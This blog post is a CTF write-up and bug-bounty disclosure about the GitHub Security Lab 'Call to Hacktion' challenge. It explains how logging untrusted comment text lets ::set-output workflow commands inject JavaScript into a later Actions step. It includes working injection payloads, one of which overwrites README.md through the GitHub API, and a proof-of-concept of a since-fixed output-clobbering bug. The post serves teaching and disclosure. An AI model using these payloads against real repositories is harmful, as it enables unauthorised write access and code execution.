The GitHub Capture-the-Flag - Call to Hacktion concluded in March 2021, and I was pleasantly surprised to be the first person to complete the challenge! I was intending to do a short writeup on the challenge back then, but the official writeup by GitHub had already explained the vulnerabilities and the solution.

There were some parts which I did not fully understood even after solving the challenge, and I want to take this chance to revisit some of the missed steps. I will also discuss a bug which I chanced upon while performing this deep-dive analysis. Hopefully this article helps to provide deeper insights into the internals of GitHub Actions and explain the whole exploit chain in detail, as well as raise awareness about the dangers of logging untrusted inputs in GitHub Actions.

Introduction

Call to Hacktion is a CTF hosted by GitHub Security Lab that ran from 17 March 2021 to 21 March 2021. The challenge is to exploit a vulnerable GitHub Actions workflow in a player-instanced private repository. Contestants are given read-only access to the repository, and the goal is to exploit the vulnerable workflow to overwrite README.md on the main branch to prove that the contestant had successfully obtained write privileges to the repository (i.e. read-only access -> privilege escalation -> read-write access).

Vulnerable Workflow Analysis

Without further ado, let’s jump straight into the vulnerable workflow (.github/workflows/comment-logger.yml) in the player-instanced challenge repository:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
name: log and process issue comments
on:
  issue_comment:
    types: [created]

jobs:
  issue_comment:
    name: log issue comment
    runs-on: ubuntu-latest
    steps:
      - id: comment_log
        name: log issue comment
        uses: actions/github-script@v3
        env:
          COMMENT_BODY: ${{ github.event.comment.body }}
          COMMENT_ID: ${{ github.event.comment.id }}
        with:
          github-token: "deadc0de"
          script: |
            console.log(process.env.COMMENT_BODY)
            return process.env.COMMENT_ID
          result-encoding: string
      - id: comment_process
        name: process comment
        uses: actions/github-script@v3
        timeout-minutes: 1
        if: ${{ steps.comment_log.outputs.COMMENT_ID }}
        with:
          script: |
            const id = ${{ steps.comment_log.outputs.COMMENT_ID }}
            return ""
          result-encoding: string

If you have been following GitHub Security Lab’s research articles, you may have came across this article by Jaroslav Lobacevski on code/command injection in workflows. Essentially, it is not recommended to use GitHub Actions expression syntax referencing potentially untrusted input in inline scripts, as this can easily lead to code/command injections. On line 30 – const id = ${{ steps.comment_log.outputs.COMMENT_ID }}, it can be seen that a GitHub Actions expression that references an output from a previous job step is being used directly within the inline script. This looked suspicious, and code injection may be possible if the expression value can be controlled by an adversary.

Let’s move on to examine the referenced job step (comment_log) and determine how code injection could be achieved:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
- id: comment_log
  name: log issue comment
  uses: actions/github-script@v3
  env:
    COMMENT_BODY: ${{ github.event.comment.body }}           // attacker-controlled data
    COMMENT_ID: ${{ github.event.comment.id }}               // safe numerical ID generated by GitHub
  with:
    github-token: "deadc0de"
    script: |
      console.log(process.env.COMMENT_BODY)                  // untrusted input logged to standard output!
      return process.env.COMMENT_ID                          // safe value returned
    result-encoding: string
- id: comment_process
  name: process comment
  uses: actions/github-script@v3
  timeout-minutes: 1
  if: ${{ steps.comment_log.outputs.COMMENT_ID }}            // if this output is set from previous job
  with:
    script: |
      const id = ${{ steps.comment_log.outputs.COMMENT_ID }} // fill output value here!
      return ""
    result-encoding: string

Here, the actions/github-script@v3 action is being used. Basically, this action accepts a script argument passed using with: in the workflow file and executes it, allowing easy access to GitHub API and workflow run context. Notice that the comment body is being logged to standard output in the inline script – the attacker controlled data (comment body) ends up being printed to standard output! Using a feature of GitHub Actions known as workflow commands, the action can interact with the Actions runner. It works by parsing the output of the execution step and handling any commands denoted by any output line starting with :: after trimming leading whitespaces.

This means that when an output line such as ::set-output name=[name]::[value] is being logged, it would be possible to access the output value using ${{ steps.[job_id].outputs.[name] }}. In the vulnerable workflow above, it can be seen that it would be possible for an adversary to set ${{ steps.comment_log.outputs.COMMENT_ID }} such that it leads to a code injection in the comment_process step.

To solve the challenge, we first close the const id = variable assignment with 1; and inject JavaScript code using the pre-authenticated octokit/core.js to push a new commit overwriting README.md using GitHub REST API. I ended up with the following solution:

::set-output name=COMMENT_ID::1; console.log(context); console.log(process); await github.request('PUT /repos/{owner}/{repo}/contents/{path}', { owner: 'incrediblysecureinc', repo: 'incredibly-secure-Creastery', path: 'README.md', message: 'Escalated to Read-write Access', content: Buffer.from('Pwned!').toString('base64'), sha: '959c46eb0fbab9ab5b5bfb279ab6d70f720d1207' })

Note: console.log(context); console.log(process); is added purely for debugging and is not actually required to exploit the vulnerable workflow. 959c46eb0fbab9ab5b5bfb279ab6d70f720d1207 refers to the SHA for the git blob (README.md) being updated.

Why Did The Exploit Worked?

Now, we have successfully exploit the vulnerable workflow and solved the challenge. But, we have yet to understand why it worked under the hood.

Let’s continue by enabling logging in the Actions runner. To enable logging, follow the steps in the documentation and set the following repository secrets:

  • ACTIONS_RUNNER_DEBUG to true
  • ACTIONS_STEP_DEBUG to true

Since participants were given read-only access to the repository, it is not possible to set the secrets in the player-instanced repository. I proceeded to create a private test repository, added the debug repository secrets and imported the vulnerable workflow file.

After supplying a test comment, the workflow runs successfully with the following log:

...
##[debug]Starting: log issue comment
##[debug]Loading inputs
##[debug]Loading env
##[group]Run actions/github-script@v3
with:
  github-token: deadc0de
  script: console.log(process.env.COMMENT_BODY)
  return process.env.COMMENT_ID
  result-encoding: string
  debug: false
  user-agent: actions/github-script
env:
  COMMENT_BODY: Test
  COMMENT_ID: 802762169
##[endgroup]
test
::set-output name=result::802762169
##[debug]steps.comment_log.outputs.result='802762169'
##[debug]Node Action run completed with exit code 0
##[debug]Finishing: log issue comment
...

It turns out that the return process.env.COMMENT_ID does not set ${{ steps.comment_log.outputs.COMMENT_ID }} after all!
In fact, the comment_process step is referencing a supposedly non-existent output from the comment_log.

However, we do see ${{ steps.comment_log.outputs.result }} being set. Upon examining the source code of actions/github-script@v3, it is clear why this is the case:

...
const result = await callAsyncFunction(
  {require: require, github, context, core, io},
  script
)

...

core.setOutput('result', output)
...

What Could Go Wrong With Logging Untrusted Inputs? :see_no_evil:

One interesting thought I had was that, what if the workflow relied on outputs.result instead. Is the below modified workflow vulnerable?

...
    uses: actions/github-script@v3
    script: |
      console.log(process.env.COMMENT_BODY)
      return process.env.COMMENT_ID
    result-encoding: string
...
  - id: comment_process
    name: process comment
    uses: actions/github-script@v3
    timeout-minutes: 1
    if: ${{ steps.comment_log.outputs.result }}              // instead of outputs.COMMENT_ID
    with:
      script: |
        const id = ${{ steps.comment_log.outputs.result }}   // instead of outputs.COMMENT_ID
        return ""
      result-encoding: string

The answer is no – if set-output workflow command is executed multiple times for the same output name, only the last value is retained.

Notice that in the above workflow, a trailing newline is enforced implicitly when using console.log().

Now, let’s consider a similar workflow that instead logs untrusted input using process.stdout.write(). Is this vulnerable?

...
    uses: actions/github-script@v3
    script: |
      process.stdout.write(process.env.COMMENT_BODY)         // no trailing newline here
      return process.env.COMMENT_ID                          // does this overwrite existing ::set-output?
    result-encoding: string
...
  - id: comment_process
    name: process comment
    uses: actions/github-script@v3
    timeout-minutes: 1
    if: ${{ steps.comment_log.outputs.result }}              // instead of outputs.COMMENT_ID
    with:
      script: |
        const id = ${{ steps.comment_log.outputs.result }}   // instead of outputs.COMMENT_ID
        return ""
      result-encoding: string

This is a tricky question. I was not sure either, but it turns out this workflow is actually vulnerable!

But why? The Actions Runner reads each line of the step output, parses and executes any workflow commands (lines starting with the :: marker) detected. In the above workflow, the output from process.stdout.write(process.env.COMMENT_BODY) will be concatenated with the output from core.setOutput('result', output) triggered under the hood by the return statement in the inline script.

In other words, if the following comment body is supplied:

::set-output name=result::1; console.log("This should not be executed -- proof that we indeed have code injection:", 7*191);
JUNK

Note: There is no no trailing newline after JUNK.

The output shown in the job execution logs is:

::set-output name=result::1; console.log("This should not be executed -- proof that we indeed have code injection:", 7*191);
##[debug]steps.comment_log.outputs.result='1; console.log("This should not be executed -- proof that we indeed have code injection:", 7*191);'
JUNK::set-output name=result::802762169
##[debug]Node Action run completed with exit code 0
...
This should not be executed -- proof that we indeed have code injection: 1337

Observe that the ::set-output workflow command issued for the return value of the script does not enforces a leading newline prior to being concatenated with the logged untrusted input. This means that we can prevent the return statement from successfully setting the result step output by clobbering the ::set-output command with the untrusted input.

Examining the source code for @actions/core, we can see why this happens:

export function issueCommand(
  command: string,
  properties: CommandProperties,
  message: any
): void {
  const cmd = new Command(command, properties, message)
  process.stdout.write(cmd.toString() + os.EOL) // leading newline not guaranteed
}

As a result of the missing prepended newline, users who mistakenly trust the output of ${{ steps.*.outputs.result }} set by @actions/github-script through @actions/core may end up working with an untrusted value in subsequent job execution steps, which may lead to remote code/command execution and privilege escalation in seemingly secure workflows.

This issue was reported to GitHub via HackerOne and was resolved through the release of an interim solution to prepend a newline in all cores to core.setOutput():

  • @actions/core v1.2.7 [PR]
  • actions/github-script v4.0.2 [PR]

Admittedly, while the interim solution is necessary, it is far from perfect as workflows/actions using core.setOutput() under the hood may cause a lot of unnecessary newlines to appear in the job execution logs. In the future, this issue may be properly addressed with the complete removal of standard output command processing:

“To address the wider risks you bring up more holistically, we’re planning on removing stdout comand processing altogether in favor of a true CLI interface you’d need to explicitly choose to invoke to perform workflow commands. So long as info written to stdout can influence the runtime of an action, it’s no longer safe to print untrusted data to logs (and that’s certainly not a reasonable expectation to set for users of Actions). We may make some of this behavior more strict in the meantime, but long term we’re planning on tearing it out.”

Disclosure Timeline

  • March 23, 2021 – Reported to GitHub Bug Bounty program on HackerOne
  • March 24, 2021 – GitHub – Initial acknowledgement of report
  • April 12, 2021 – Enquired on the status of the report
  • April 12, 2021 – GitHub – Provided update that their engieering teams are still working on triaging this issue
  • April 17, 2021 – GitHub – Asked to review the pull request on @actions/toolkit to implement the interim fix prior to removal of standard output processing of set-output, and informed about long term plan to remove support for standard output processing
  • April 18, 2021 – Verified interim fix in @actions/core is correct, but noted that the dependency of actions/github-script is not updated accordingly. Agreed that depreciating standard output command processing is a good move to eliminate such unexpected vulnerabilities caused by logging untrusted inputs.
  • June 19, 2021 – GitHub – Resolved report and awarded bounty

Conclusion

In the past, there had been security concerns over the workflow commands being parsed and executed by the Actions runner, which leads to unexpected modification of environment variables/path injection and resulting in remote code/command execution in workflows. To mitigate such risks, the GitHub team decided to depreciate several workflow commands. It is strongly recommended to disable workflow commands processing prior to logging any untrusted input to avoid any unexpected behaviour!

Thanks to GitHub Security Lab team for creating this awesome challenge and for the bounty! Taking part in this challenge helped immensely in solidifying my understanding of GitHub Actions and security considerations one should make when creating workflows.